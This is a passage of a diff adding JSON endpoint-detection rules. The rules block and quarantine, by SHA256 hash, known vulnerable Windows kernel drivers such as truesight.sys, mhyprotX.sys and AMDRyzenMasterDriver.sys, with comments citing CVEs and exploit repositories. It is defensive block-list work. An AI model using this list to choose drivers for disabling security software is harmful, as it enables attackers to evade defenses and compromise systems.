+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147350Z",
+  "creation_date": "2026-03-23T11:45:31.147352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3674adfa8151ac0100793e988aec708b0e8a2ca155226c140d7885476f971e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c3181cd-bf78-5b6e-b273-cd3600bc8102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148242Z",
+  "creation_date": "2026-03-23T11:45:31.148244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a41dc1a32edc8073ee13dee590762343acd252a29d1eddc77bb8faeac52a3fea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c326e83-7946-5af6-ae18-19a9c97600ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835434Z",
+  "creation_date": "2026-03-23T11:45:30.835437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88f52739de1bc336101fdc25aa7e82cbe497c0413993ba4b9ed387a588d7f1c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c3e2f13-067d-5240-a3d4-e5cdd9687e46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141139Z",
+  "creation_date": "2026-03-23T11:45:31.141141Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a73c288bd1f33f7c56d184588d072a3f548f31cfb5b48e1c53e1beb433cee2b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c41e7e2-ef7d-5c2b-9e6e-b88b58526868",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825799Z",
+  "creation_date": "2026-03-23T11:45:30.825801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "824370a49c9fbec55d79723417b9a97abbd613ed04e796a46ed7dc7a00bf1145",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c422499-0305-50f8-94ae-1702d73c93a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808211Z",
+  "creation_date": "2026-03-23T11:45:31.808214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808223Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ee0dde4515bdb59defb7cc0fc31c0b04a7d72c81c42bde05a5694a7d3ff8f83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c42c62d-ad6d-557b-8f6d-2a11ba7f309d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972629Z",
+  "creation_date": "2026-03-23T11:45:29.972631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c43dbdf-1e8f-524e-a477-a86d93d47218",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499055Z",
+  "creation_date": "2026-03-23T11:45:31.499058Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15718b07267354eb5d30fa8ab0903b013af854303b7def4981724715fcfacdb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c5f353f-0b0f-5f7e-8104-78eb4a923c3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818278Z",
+  "creation_date": "2026-03-23T11:45:30.818280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db0d425708ba908aedf5f8762d6fdca7636ae3a537372889446176c0237a2836",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c60f1ff-c593-5a69-9093-b120146da657",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141750Z",
+  "creation_date": "2026-03-23T11:45:31.141752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141757Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e42df3a98ebb36cf1d90f71fd179625cded05c29519e6322a4bef1b06b3f685",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c6dcf3b-6e07-5678-b802-c37b99f787c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973252Z",
+  "creation_date": "2026-03-23T11:45:29.973254Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973259Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e85d36ca271c4d65abc1cdfff0e629dc5d14edb5bf97669badbb40d2715c1d47",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c704d4f-f6b5-57d4-bda8-b5903e870bcd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457099Z",
+  "creation_date": "2026-03-23T11:45:30.457103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e73bb03d54b40035558df2e990367a1c4e9c1ef8e980df6380a63f3bc23e6740",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c7b05a0-da47-5f77-85f6-34cbb07a5a53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488275Z",
+  "creation_date": "2026-03-23T11:45:31.488277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e81366817f6b3eb948e2e321a4f269d87577a4a28d93939502f5d48226dfa0a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4cc183d5-8968-5e24-89aa-65bcb2d09cd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159049Z",
+  "creation_date": "2026-03-23T11:45:31.159051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7434d979a87f4e94b5dc7d4609527fe966875fea40cf0f74e359b6cbddd5d07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4cdd3d97-4c28-577c-93d1-8cd9774c75fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825160Z",
+  "creation_date": "2026-03-23T11:45:30.825163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825171Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab95c07bad9f17628528a8194d100eca63d82920c4da51c65183f537e748ddde",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4cf88e37-2007-59cb-aec4-ca7802c0b4fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611983Z",
+  "creation_date": "2026-03-23T11:45:29.611986Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8eed6b4a1e6f7dd66807beeb6ff71f8b34cd8c7777f1e31d326cb87593e8f836",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d00eb26-b42c-5acb-8ad7-5daaff8264e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160203Z",
+  "creation_date": "2026-03-23T11:45:31.160206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8ba80ff4af6dd6c03c9db67b1130b034e93305440c3ca68d30126f0850e675d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d067e16-d124-5950-b195-9b7f9ce4be89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491602Z",
+  "creation_date": "2026-03-23T11:45:31.491605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e3c0b260d1fdaf2b0e3ebe7a7db4091f743cfda4f6ee1c5ec3a6be353beec9c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d11f3bd-0675-58c2-a6b6-22ecd17de901",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975378Z",
+  "creation_date": "2026-03-23T11:45:29.975379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975385Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "679de7449908838c031db59234cb4f482fbf5d27d7e02d0c30d5ad9d2f36495f",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d1a1987-284d-5c9c-86d5-c4021db29f03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155171Z",
+  "creation_date": "2026-03-23T11:45:31.155173Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72ca07aafc94be8f6f6e5b37003b1645f26bd50fdb3a788e2a3191e0bbf78251",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d1f115f-34f7-574c-8778-2ad46a4bca65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148936Z",
+  "creation_date": "2026-03-23T11:45:31.148938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148944Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a07307d863085ae5779d8ba13dac5c3a4de25b93294e376775ae93c8d0845b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d2990a5-9628-5e97-8050-da14994367cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473829Z",
+  "creation_date": "2026-03-23T11:45:31.473833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fd3d76efd5584382b156ca17fe96d0a1c951fee2a804044dc6325d8e85aeef5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d30f7c7-3bcf-5965-9ecd-e54e1027ad99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
